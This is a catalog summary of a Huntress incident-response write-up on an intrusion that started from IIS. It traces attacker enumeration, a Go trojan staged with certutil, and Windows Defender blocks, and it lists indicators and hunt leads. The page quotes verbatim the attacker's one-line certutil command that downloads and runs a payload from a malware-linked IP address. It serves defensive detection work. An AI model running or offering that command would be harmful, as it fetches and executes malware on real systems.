Skip to content

Back to the catalog

Trial, Error & Typos: Malware Isn't Always 'Sophisticated' | Huntress
huntress.comwriteup

Trial, Error & Typos: Malware Isn't Always 'Sophisticated' | Huntress

Huntress DFIR writeup analyzing three related intrusions (Nov 6, 17, 25) that all began with command execution via IIS's w3wp.exe against custom login/web pages, followed by attempts to deploy a Golang trojan (agent.exe, identified in one case as SparkRAT) using certutil.exe as a LOLBin downloader. Using EDR telemetry, Sysmon, and IIS/web logs, the analysts trace repeated failures — Windows Defender blocks, failed service starts for a "WindowsUpdate" persistence service, mistyped/unsuccessful executions — and show how the same actor adapted between incidents by proactively adding Windows Defender exclusions and later deploying a renamed GotoHTTP RMM tool, illustrating that real intrusions are messier and more iterative than the "sophisticated playbook" narrative suggests.

TL;DR Huntress DFIR breakdown of three IIS-origin intrusions (SparkRAT/agent.exe, GotoHTTP) showing threat actors fumbling, retrying, and learning across incidents via EDR/Sysmon/IIS log correlation.
Document

What it is

Huntress DFIR write-up of a November 6 intrusion (Incident 1 of three related cases) against a residential development firm, initiated through the IIS worker process w3wp.exe. The attacker exploited a flaw in a web application page rather than uploading a web shell, then ran commands on the endpoint via the web server. The payload was a Go-based Trojan; a second Go executable (815.exe) with no prior VirusTotal presence was also used.

How it works

Initial command execution correlates to a POST to login.aspx (the exploited page differs per incident, arguing against a dropped web shell). From there the actor ran hands-on-keyboard enumeration (whoami.exe, netstat -an, net user admin$, ipconfig /all, net localgroup administrators) under the w3wp.exe process lineage, then attempted to stage agent.exe with a certutil LOLBin download. When Defender blocked that, they fell back to launching an already-present 815.exe — succeeding only on the third attempt, with no crash logs and without ever disabling Defender.

Indicators

  • Source IP for command execution: 188.253.126.205 (spoofed old-Chrome/Mac UA string).
  • Payload download host: 110.172.104[.]95:8000 — Republic of Korea, flagged malware-associated on VirusTotal.
  • Staged/executed files: C:\Users\Public\agent.exe, c:\users\public\815.exe (both Go binaries; 815.exe hash unknown to VirusTotal).

The Defender-blocked staging command, verbatim:

""cmd"" /c certutil.exe -urlcache -split -f http://110.172.104[.]95:8000/api/download/windows-tools/amd64 C:\Users\Public\agent.exe && start /b C:\Users\Public\agent.exe

What to do

The page describes detection over prescription — treat these as hunt leads, not vendor guidance:

  • Hunt for cmd.exe, whoami.exe, certutil.exe, or net/ipconfig enumeration with w3wp.exe as parent — the process lineage that exposed this incident.
  • Correlate IIS logs, Sysmon, and Windows Event Logs; the reconstruction depended on all three. Note that a Defender block of the certutil download was the pivot that revealed intent.
  • Flag certutil -urlcache -split -f staging into C:\Users\Public\ and execution from that directory.
  • Retry/persistence signal: repeated launches of the same executable (three here) is itself an indicator, even absent crash records.

Caveats

This document reflects only Incident 1; the page states Incidents 2 and 3 share TTPs and infrastructure but their specifics are cut off in the fetched text. How 815.exe reached the endpoint was never determined. Attribution to a single actor rests on infrastructure and TTP similarity, not confirmed identity, and no CVE is named for the web-application flaw.

Organisations named here

  • GotoHTTP
  • w3wp.exe

Technologies named here

  • Microsoft Internet Information Server - w3wp.exe process
  • Huntress EDR
  • Windows Defender
  • Microsoft Sysmon
  • certutil.exe
  • Velociraptor DFIR platform
  • Residential development firm
  • VirusTotal
  • Manufacturing customer
  • GotoHTTP RMM tool
  • Enterprise shared services organization customer
  • Golang Trojan
  • attrib.exe
  • sc.exe
  • PowerShell
  • Huntress
  • IIS
  • Sysmon
  • EDR
  • Velociraptor

Techniques named here

  • LOLBIN abuse
  • Discovery/enumeration commands
  • Defense evasion via Windows Defender exclusions
  • File attribute manipulation
  • Persistence via malicious Windows service
  • Remote monitoring and management tool abuse
  • Repeated/iterative attacker adaptation after failure

Threat actors named here

  • Unnamed threat actor/group
  • Warlock ransomware operator
  • Warlock
  • SPARKRAT
  • ShellcodeRunner
  • Warlock ransomware